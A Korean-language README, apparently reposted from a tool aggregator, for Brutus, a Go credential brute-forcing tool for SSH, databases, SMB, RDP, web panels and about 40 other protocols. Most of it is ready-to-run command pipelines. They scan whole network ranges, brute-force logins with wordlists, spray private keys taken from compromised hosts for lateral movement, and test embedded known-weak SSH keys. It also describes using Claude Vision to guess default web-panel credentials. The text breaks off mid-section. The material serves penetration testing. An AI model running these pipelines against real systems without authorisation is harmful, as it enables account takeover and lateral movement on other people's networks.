Go로 작성된 빠르고 의존성 없는 자격 증명 테스트 도구입니다. SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB 및 20개 이상의 프로토콜을 무차별 대입합니다. 기본 nerva/naabu 파이프라인 통합을 갖춘 Hydra 대체 도구입니다.
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — 자격 증명이 무너지기 전의 마지막 말.</em>
</p>
<p align="center">
<strong>순수 Go로 작성된 현대적인 자격 증명 테스트 도구</strong>
</p>
<p align="center">
<a href="#installation">설치</a> •
<a href="#quick-start">빠른 시작</a> •
<a href="#pipeline-integration">파이프라인</a> •
<a href="#supported-protocols">프로토콜</a> •
<a href="#account-enumeration">계정 열거</a> •
<a href="#socks5-proxy-support">프록시</a> •
<a href="#library-integration">라이브러리</a>
</p>
---
## 개요
Brutus는 공격적 보안 도구 생태계의 중요한 공백을 해결하기 위해 설계된 다중 프로토콜 인증 테스트 도구입니다. 즉, 다양한 네트워크 서비스 전반에서 효율적인 자격 증명 검증을 가능하게 합니다. HTTP에 초점을 맞춘 도구는 넘쳐나지만, 침투 테스터와 레드팀 운영자는 데이터베이스, SSH, SMB 및 기타 네트워크 서비스를 자주 마주치며, 이들은 목적에 맞게 제작된 인증 테스트 기능을 필요로 합니다.
외부 의존성이 전혀 없는 단일 바이너리로 Go로 제작된 Brutus는 자동화된 서비스 검색을 위해 [Nerva](https://github.com/praetorian-inc/nerva)와 원활하게 통합되어, 운영자가 전체 네트워크 범위에서 인증 벡터를 신속하게 식별하고 테스트할 수 있게 합니다.
**주요 기능:**
- **제로 의존성:** 단일 바이너리, 크로스 플랫폼 (Linux, Windows, macOS)
- **43개 프로토콜:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, MQTT 등
- **SOCKS5 프록시 지원:** `--proxy`를 사용하여 모든 트래픽을 SOCKS5 프록시를 통해 라우팅
- **공격성 모드:** `--mode cautious|default|aggressive`로 커버리지와 안전성 조정
- **파이프라인 통합:** Nerva, naabu, nmap, masscan 워크플로우 기본 지원
- **내장된 취약 키:** 알려진 SSH 키 모음 내장 (Vagrant, F5, ExaGrid 등)
- **계정 열거:** 계정 존재 오라클 열거, Kerberos 사용자 열거, 이메일 생성, Microsoft Teams/Entra ID 디바이스 코드 인증
- **Go 라이브러리:** 보안 자동화 도구에 직접 임포트 가능
- **프로덕션 준비 완료:** 속도 제한, 연결 풀링, 포괄적인 오류 처리
---
## 왜 Brutus인가?
**THC Hydra**와 같은 전통적인 도구는 보안 커뮤니티에 잘 봉사해 왔지만, 상당한 마찰을 동반합니다. 복잡한 의존성 체인, 플랫폼별 컴파일 문제, 그리고 현대적인 정찰 워크플로우와의 네이티브 통합 부재입니다.
**Brutus**는 현대 공격적 보안을 위해 목적에 맞게 제작되었습니다:
- **진정한 제로 의존성 배포:** 단일 바이너리를 다운로드하여 실행하세요. `libssh-dev`도, `libmysqlclient-dev`도, 컴파일 오류도 없습니다. Linux, macOS, Windows에서 동일하게 작동합니다.
- **네이티브 파이프라인 통합:** Brutus는 JSON을 사용하며 [Nerva](https://github.com/praetorian-inc/nerva), [naabu](https://github.com/projectdiscovery/naabu), [nmap](https://nmap.org), [masscan](https://github.com/robertdavidgraham/masscan)과 직접 통합됩니다. 발견된 서비스를 형식 변환이나 스크립팅 없이 바로 자격 증명 테스트로 파이프할 수 있습니다.
- **내장된 인텔리전스:** 알려진 SSH 취약 키 (Vagrant, F5 BIG-IP, ExaGrid 등)가 바이너리에 컴파일되어 있습니다. `brutus badkeys`를 사용하여 SSH 대상에 대해 테스트하세요.
- **라이브러리 우선 설계:** Brutus를 Go 보안 도구에 직접 임포트하세요. 외부 프로세스를 호출하지 않고도 사용자 정의 자동화를 구축할 수 있습니다.
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
---
## 사용 사례
### 침투 테스트
- 내부 평가 중 여러 서비스에서 발견된 자격 증명 검증
- 데이터베이스 및 파일 공유 서비스 전반의 비밀번호 재사용 패턴 테스트
- 새로 배포된 인프라에서 기본 자격 증명 식별
### 레드 팀 작전
- 비밀번호 덤프 또는 피싱 캠페인 후 신속한 자격 증명 검증
- 네트워크 서비스 전반의 측면 이동 기회 테스트
- 이기종 환경 전반에서 손상된 자격 증명 검증
### 개인 키 스프레이
손상된 시스템에서 개인 키를 발견했습니까? 네트워크 전반에 스프레이하여 다른 곳에서도 접근 권한을 부여하는지 확인하십시오:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
이 파이프라인은 모든 SSH 서비스를 탐색하고, Nerva로 식별하며, 탈취한 키를 일반적인 사용자 이름에 대해 테스트하여 몇 초 만에 측면 이동 기회를 드러냅니다.
### 웹 관리자 패널 테스트
HTTP 서비스를 탐색하고 AI 기반 탐지 또는 수동 자격 증명 목록을 사용하여 자격 증명을 테스트합니다:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### 보안 검증
- 새로 배포된 서비스에서 기본 자격 증명 테스트
- 플랫폼 전반에 걸친 비밀번호 정책 적용 검증
- 규정 준수 및 보안 평가를 위한 감사 추적 생성
---
## 설치
### 사전 빌드된 바이너리 (권장)
[GitHub Releases](https://github.com/praetorian-inc/brutus/releases)에서 다운로드:
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Go 설치
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## 빠른 시작
### 하위 명령어
<!-- BEGIN generated: cli-subcommands -->
Brutus는 기능을 다음과 같은 집중된 하위 명령어로 구성합니다:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
일부 하위 명령은 검색 편의를 위해 별칭을 제공합니다:
| 하위 명령 | 별칭 |
| --- | --- |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `creds` | `services`, `defaults`, `credentials` |
| `snmp` | `community` |
| `web` | `http`, `panels` |
전체 레퍼런스 — `--help`에서 숨겨진 항목을 포함한 모든 하위 명령, 별칭, 플래그 — 는 [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md)에 생성됩니다.
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### 기본 사용법
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### 출력 예시
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
자세한 모드(`-v`) 사용 시:
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
파이프라인 통합을 위한 JSON 출력 (성공한 자격 증명만 출력):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## 파이프라인 통합
Brutus는 완전한 네트워크 정찰을 위해 **[Nerva](https://github.com/praetorian-inc/nerva)** 및 **[naabu](https://github.com/projectdiscovery/naabu)** 와 원활하게 통합됩니다.
### 실제 시나리오
#### 시나리오 1: 기업 /24 네트워크 스캔
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### 시나리오 2: 대상 도메인에 대한 버그 바운티 정찰
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### 시나리오 3: 내부 평가에서의 데이터베이스 헌팅
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### 시나리오 4: 인프라 전반에 걸친 SSH 키 테스트
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### 시나리오 5: 대상 서비스 테스트
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### 스캔 도구 가져오기 (Nmap & Masscan)
Brutus는 **nmap** 및 **masscan** 스캔 출력 파일에서 직접 대상을 가져올 수 있어 형식 변환이나 중간 도구가 필요하지 않습니다.
#### Nmap XML 가져오기 (`--nmap-file`)
nmap의 XML 출력(`-oX`)에서 대상을 가져옵니다. Nmap은 서비스 핑거프린팅을 제공하므로 Brutus는 감지된 서비스를 올바른 프로토콜에 자동으로 매핑합니다:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Nmap 서비스 이름은 자동으로 Brutus 프로토콜에 매핑됩니다(예: `ms-wbt-server` → `rdp`, `microsoft-ds` → `smb`). TLS는 nmap의 `tunnel="ssl"` 속성에서 감지됩니다. up 상태인 호스트의 열린 포트만 가져옵니다.
#### Masscan JSON 가져오기 (`--masscan-file`)
masscan의 JSON 출력(`-oJ`)에서 대상을 가져옵니다. masscan은 포트 스캐너일 뿐이므로(서비스 핑거프린팅 없음), `--protocol`을 지정하거나 Brutus가 Nerva로 자동 핑거프린팅하도록 해야 합니다:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### 다른 워크플로와 결합
`--nmap-file` 및 `--masscan-file` 플래그는 모든 하위 명령과 함께 작동하며 `--target`, `--targets-file`, stdin과 상호 배타적입니다:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### 파이프라인 입력 형식
Brutus는 stdin으로부터 여러 입력 형식을 허용합니다:
**Nerva JSON** (`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI** (기본 Nerva 출력, `--json` 불필요):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**베어 타겟** (Nerva로 자동 핑거프린팅됨):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus는 자동으로:
- JSON, URI 스킴, 그리고 bare target 형식을 파싱합니다
- 서비스를 프로토콜에 매핑합니다
- 적절한 기본 자격 증명을 테스트합니다
- 결과를 일치하는 JSON 형식으로 출력합니다
### 파이프라인 출력 형식
Brutus는 성공한 자격 증명만 JSONL 형식(한 줄에 하나의 JSON 객체)으로 출력합니다:
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**참고:** 인증 실패 시도는 JSON 출력에 포함되지 않습니다. `key` 필드는 인증에 비밀번호 대신 SSH 키를 사용한 경우 (`true`로) 나타납니다. `llm_suggested` 필드는 자격 증명이 AI 시스템(`--experimental-ai`)에 의해 제안된 경우 (`true`로) 나타납니다.
---
## 비교
| 기능 | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| 단일 바이너리 | ❌ | ❌ | ❌ | ✅ |
| 의존성 없음 | ❌ | ❌ | ❌ | ✅ |
| SOCKS5 프록시 | ✅ | ❌ | ❌ | ✅ |
| Nerva 파이프라인 | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan 가져오기 | ❌ | ❌ | ❌ | ✅ |
| JSON 스트리밍 | ⚠️ | ❌ | ❌ | ✅ |
| 크로스 플랫폼 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 일관된 오류 | ⚠️ | ⚠️ | ⚠️ | ✅ |
| 활발한 개발 | ✅ | ⚠️ | ❌ | ✅ |
| 내장된 취약 키 | ❌ | ❌ | ❌ | ✅ |
| Go 라이브러리 가져오기 | ❌ | ❌ | ❌ | ✅ |
---
## 지원 프로토콜
Brutus는 **43개의 프로토콜**을 지원합니다:
### 네트워크 서비스
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| SSH | 22 | 비밀번호, 개인 키 | 서버, 네트워크 장비 |
| FTP | 21 | 비밀번호 | 파일 서버, NAS 장치 |
| rsync | 873 | 모듈 비밀, 익명 | 파일 동기화 |
| Telnet | 23 | 비밀번호 | 레거시 시스템, IoT 장치 |
| VNC | 5900 | 비밀번호 | 원격 데스크톱 |
| RDP | 3389 | NLA/CredSSP, 비밀번호 | Windows 서버, 워크스테이션 |
| SNMP | 161 | 커뮤니티 문자열 | 네트워크 장치, 프린터 |
| IPMI | 623/udp | RMCP | BMC / lights-out |
| OPC UA | 4840 | 사용자 이름 토큰, 익명 | ICS/SCADA |
### 웹 서비스
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| HTTP | 80 | 기본 인증 | 관리자 패널 (Grafana, Jenkins 등) |
| HTTPS | 443 | 기본 인증 | 보안 관리자 패널 |
| 브라우저 | 80/443 | 폼 | 브라우저 기반 Microsoft/Entra 로그인 |
### 엔터프라이즈 인프라
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| SMB | 445 | 비밀번호, NTLM | Windows 네트워크, 파일 공유 |
| LDAP | 389/636 | Bind DN | Active Directory, 아이덴티티 |
| WinRM | 5985/5986 | NTLM | Windows 원격 관리 |
### 데이터베이스
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| MySQL | 3306 | 비밀번호 | 웹 애플리케이션 |
| PostgreSQL | 5432 | 비밀번호 | 최신 애플리케이션 |
| MSSQL | 1433 | 비밀번호 | 엔터프라이즈 애플리케이션 |
| MongoDB | 27017 | 비밀번호 | NoSQL 백엔드 |
| Redis | 6379 | 비밀번호 | 캐싱, 세션 |
| Memcached | 11211 | SASL, 익명 | 캐싱 |
| Neo4j | 7687 | 비밀번호 | 그래프 데이터베이스 |
| Cassandra | 9042 | 비밀번호 | 분산 데이터베이스 |
| CouchDB | 5984 | HTTP 기본 | 문서 저장소 |
| Elasticsearch | 9200 | HTTP 기본 | 검색 엔진 |
| InfluxDB | 8086 | HTTP 기본 | 시계열 데이터 |
| Oracle | 1521 | 비밀번호 | 엔터프라이즈 데이터베이스 |
| DB2 | 50000 | 비밀번호 | 엔터프라이즈 데이터베이스 |
| Firebird | 3050 | 비밀번호 | 임베디드 데이터베이스 |
### 컨테이너 및 오케스트레이션
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| Docker | 2375/2376 | 인증 없음 | 노출된 Docker 데몬 |
| Kubernetes | 6443/10250 | 인증 없음 | 노출된 K8s API/kubelet |
### 통신
| 프로토콜 | 포트 | 인증 방식 | 사용 사례 |
|----------|------|--------------|----------|
| SMTP | 25/587 | 비밀번호 | 메일 릴레이 |
| IMAP | 143/993 | 비밀번호 | 메일박스 접근 |
| POP3 | 110/995 | 비밀번호 | 메일박스 접근 |
| ActiveMQ | 61616 | 비밀번호 | OpenWire 브로커 |
| SIP | 5060/5061 | Digest | VoIP |
| TURN | 3478 | 비밀번호 | TURN 릴레이 |
| ZooKeeper | 2181 | Digest, 익명 | 코디네이션 |
| NATS | 4222 | 비밀번호, 익명 | 메시징 |
| XMPP | 5222 | SASL PLAIN | 채팅 |
| MQTT | 1883/8883 | 비밀번호, 익명 | IoT 브로커 |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | 브로커 |
| SOCKS5 | 1080 | SOCKS5 프록시 인증 | 프록시 |
---
## 내장된 SSH 취약 키
외부 키 파일이 필요 없는 단일 바이너리 배포. 각 키는 스마트 자격 증명 매핑을 위해 기본 사용자 이름과 쌍을 이루며, CVE 추적을 통해 규정 준수 쿼리가 가능합니다.
Brutus는 **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** 및 **[Vagrant](https://github.com/hashicorp/vagrant)** 키 컬렉션을 바이너리에 내장하고 있습니다:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### 내장 키 수집
| 제품 | CVE | 기본 사용자 | 설명 |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant 비보안 키 |
| F5 BIG-IP | CVE-2012-1493 | root | 정적 SSH 호스트 키 |
| ExaGrid | CVE-2016-1561 | root | 백업 어플라이언스 백도어 |
| Monroe DASDEC | CVE-2013-0137 | root | 비상 경보 시스템 |
| Barracuda | CVE-2014-8428 | cluster | 로드 밸런서 VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | 무선 백홀 |
| Array Networks | - | sync | vAPV/vxAG 어플라이언스 |
| Quantum DXi | - | root | 중복 제거 어플라이언스 |
| Loadbalancer.org | - | root | 엔터프라이즈 로드 밸런서 |
---
## 공격성 모드
전역 `--mode` 플래그(`-m`)는 모든 하위 명령에서 공격성을 제어합니다. 이는 커버리지와 안전성 사이의 균형을 맞추는 성능 튜닝 프리셋을 설정합니다:
| 모드 | 스레드 | 타임아웃 | 속도 제한 | 지터 | 재시도 | 사용 사례 |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | 프로덕션 환경, 잠금 방지 |
| `default` | 10 | 10s | 무제한 | 없음 | 2 | 표준 테스트 |
| `aggressive` | 20 | 10s | 무제한 | 없음 | 3 | 랩/CTF 환경, 최대 커버리지 |
모드 프리셋이 먼저 적용된 후, 명시적인 CLI 플래그가 이를 재정의합니다:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
SNMP의 경우, 모드는 내장 워드리스트 깊이도 제어합니다([SNMP Community String Testing](#snmp-community-string-testing) 참조).
---
## SOCKS5 프록시 지원
`--proxy` 플래그는 모든 연결을 SOCKS5 프록시를 통해 라우팅합니다. 이는 모든 프로토콜과 하위 명령에서 작동합니다:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
지원되는 스킴:
- `socks5://` — 표준 SOCKS5 프록시 (클라이언트 측 DNS 해석)
- `socks5h://` — 원격 DNS 해석을 사용하는 SOCKS5 (내부 호스트명을 대상으로 할 때 유용)
---
## SNMP 커뮤니티 문자열 테스트
`snmp` 하위 명령은 전역 `--mode` 플래그로 제어되는 계층화된 워드리스트를 사용하여 전용 SNMP v1/v2c 커뮤니티 문자열 테스트를 제공합니다:
| 모드 | 문자열 | 범위 |
|------|---------|----------|
| `cautious` | ~25 | 일반적인 문자열 (public, private, community 등) |
| `default` | ~25 | cautious와 동일 |
| `aggressive` | 200+ | 포괄적 (벤더별, SCADA, IP 카메라, 스토리지 등) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
---
## 라이브러리 통합
보안 자동화 도구를 개발하는 개발자를 위해, Brutus는 Go 라이브러리로도 임포트할 수 있습니다:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## 실험적: AI 기반 자격 증명 탐지
> **⚠️ 실험적 기능:** AI 기능은 외부 API 키가 필요하며 활발히 개발 중입니다.
### `--experimental-ai` 플래그
`--experimental-ai` 플래그는 HTTP 서비스에 대한 자동 자격 증명 탐지를 활성화합니다:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**작동 방식:**
1. **탐지** — Brutus가 HTTP 대상에 프로브를 보내 인증 유형(Basic Auth vs 폼 기반)을 탐지합니다
2. **장치 식별** — Claude Vision이 스크린샷을 분석하여 장치/애플리케이션을 식별합니다
3. **자격 증명 제안** — Claude가 학습 데이터에서 기본 자격 증명을 제안합니다
4. **선택적 웹 검색** — Perplexity(구성된 경우)가 온라인에서 추가 자격 증명을 검색합니다
5. **테스트** — 발견된 자격 증명을 대상에 대해 테스트합니다
**HTTP Basic Auth 대상의 경우:**
- `/`에 프로브를 보내 HTTP 헤더를 캡처합니다
- Server 헤더, WWW-Authenticate realm 등에서 장치를 식별합니다
- Claude가 가능성 높은 기본 자격 증명을 제안합니다
- 자격 증명 쌍을 자동으로 테스트합니다
**HTTP 폼 기반 인증 대상의 경우:**
- 헤드리스 Chrome을 사용하여 페이지를 렌더링하고 스크린샷을 찍습니다
- Claude Vision이 로그인 폼과 장치 유형을 식별하고 자격 증명을 제안합니다
- Perplexity(선택 사항)가 추가 기본 자격 증명을 검색합니다
- 브라우저 자동화가 폼을 채우고 제출합니다
**요구 사항:**
- `ANTHROPIC_API_KEY` — Claude Vision(장치 식별 + 자격 증명 제안)에 **필수**
- `PERPLEXITY_API_KEY` — 추가 웹 검색 조사를 위한 *선택 사항*
- Chrome/Chromium 설치됨(폼 기반 인증 전용)
**비HTTP 프로토콜(SSH, MySQL 등)은 `--experimental-ai`의 영향을 받지 않습니다** — 표준 자격 증명 테스트를 계속 사용합니다.
---
## RDP: 고정 키 백도어 탐지 및 악용
Brutus는 RDP 대상에서 **고정 키 백도어**(MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/))의 자동 탐지를 포함합니다. 이 사전 인증 검사는 비NLA RDP 대상에서 실행되며 자격 증명이 필요하지 않습니다.
**작동 방식:**
1. RDP 대상에 연결하고 비NLA 세션을 협상합니다
2. 로그인 화면 비트맵을 기준선으로 캡처합니다
3. 5x Shift 키(고정 키 트리거)를 전송합니다
4. 응답 비트맵을 캡처합니다
5. 휴리스틱 분석으로 터미널 창(cmd.exe, PowerShell 등)이 나타났는지 탐지합니다
6. 선택적으로 Claude Vision API를 통해 확인합니다(`ANTHROPIC_API_KEY`가 설정된 경우)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**탐지 전용 모드:** `logon` 하위 명령은 무차별 대입 없이 sticky keys 및 utilman 백도어 탐지를 실행합니다:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**탐지 출력:**
```
